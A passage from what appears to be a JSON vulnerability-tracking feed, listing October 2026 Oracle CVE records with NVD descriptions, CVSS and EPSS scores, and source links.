CVE-2026-91504","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91504","type":"primary","publishedAt":"2026-10-20T22:20:54.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91504&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91504, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91503","cveId":"CVE-2026-91503","aliases":[],"kind":"vulnerability","title":"Vulnerability in the VPD component of Oracle Database Server.","summary":"Vulnerability in the VPD component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Table privilege with network access via Oracle Net to compromise VPD.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all VPD accessible data as well as  unauthorized access to critical data or complete access to all VPD accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the VPD component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Table privilege with network access via Oracle Net to compromise VPD.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all VPD accessible data as well as  unauthorized access to critical data or complete access to all VPD accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:54.780Z","updatedAt":"2026-10-24T04:18:27.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91503","asOf":"2026-10-24T04:18:27.000Z"},"epss":{"probability":0.00248,"percentile":0.15957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91503&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91503","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91503","type":"primary","publishedAt":"2026-10-20T22:20:54.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91503&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91503, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91502","cveId":"CVE-2026-91502","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as  unauthorized read access to a subset of Oracle WebLogic Server accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).","detail":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as  unauthorized read access to a subset of Oracle WebLogic Server accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:54.670Z","updatedAt":"2026-10-24T04:18:26.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91502","asOf":"2026-10-24T04:18:26.860Z"},"epss":{"probability":0.00288,"percentile":0.21199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91502&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91502","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91502","type":"primary","publishedAt":"2026-10-20T22:20:54.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91502&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91502, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91499","cveId":"CVE-2026-91499","aliases":[],"kind":"vulnerability","title":"Vulnerability in the RDBMS component of Oracle Database Server.","summary":"Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_VECTOR privilege with network access via Oracle Net to compromise RDBMS.  Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_VECTOR privilege with network access via Oracle Net to compromise RDBMS.  Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:54.450Z","updatedAt":"2026-10-24T04:18:26.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91499","asOf":"2026-10-24T04:18:26.563Z"},"epss":{"probability":0.00389,"percentile":0.32769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91499","type":"primary","publishedAt":"2026-10-20T22:20:54.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91496","cveId":"CVE-2026-91496","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).","summary":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:54.220Z","updatedAt":"2026-10-24T04:18:26.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91496","asOf":"2026-10-24T04:18:26.420Z"},"epss":{"probability":0.00301,"percentile":0.22575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91496&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91496","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91496","type":"primary","publishedAt":"2026-10-20T22:20:54.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91496&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91496, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91494","cveId":"CVE-2026-91494","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:53.987Z","updatedAt":"2026-10-24T04:18:26.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91494","asOf":"2026-10-24T04:18:26.190Z"},"epss":{"probability":0.00301,"percentile":0.22642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91494&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91494","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91494","type":"primary","publishedAt":"2026-10-20T22:20:53.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91494&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91494, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91493","cveId":"CVE-2026-91493","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:53.870Z","updatedAt":"2026-10-24T04:18:25.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91493","asOf":"2026-10-24T04:18:25.963Z"},"epss":{"probability":0.00287,"percentile":0.20996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91493&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91493","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91493","type":"primary","publishedAt":"2026-10-20T22:20:53.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91493&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91493, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91492","cveId":"CVE-2026-91492","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:53.733Z","updatedAt":"2026-10-24T04:18:25.733Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle","SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91492","asOf":"2026-10-24T04:18:25.733Z"},"epss":{"probability":0.00243,"percentile":0.15361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91492","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91492","type":"primary","publishedAt":"2026-10-20T22:20:53.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91489","cveId":"CVE-2026-91489","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:53.390Z","updatedAt":"2026-10-24T04:18:25.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91489","asOf":"2026-10-24T04:18:25.503Z"},"epss":{"probability":0.00104,"percentile":0.01025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91489","type":"primary","publishedAt":"2026-10-20T22:20:53.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91489, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91488","cveId":"CVE-2026-91488","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 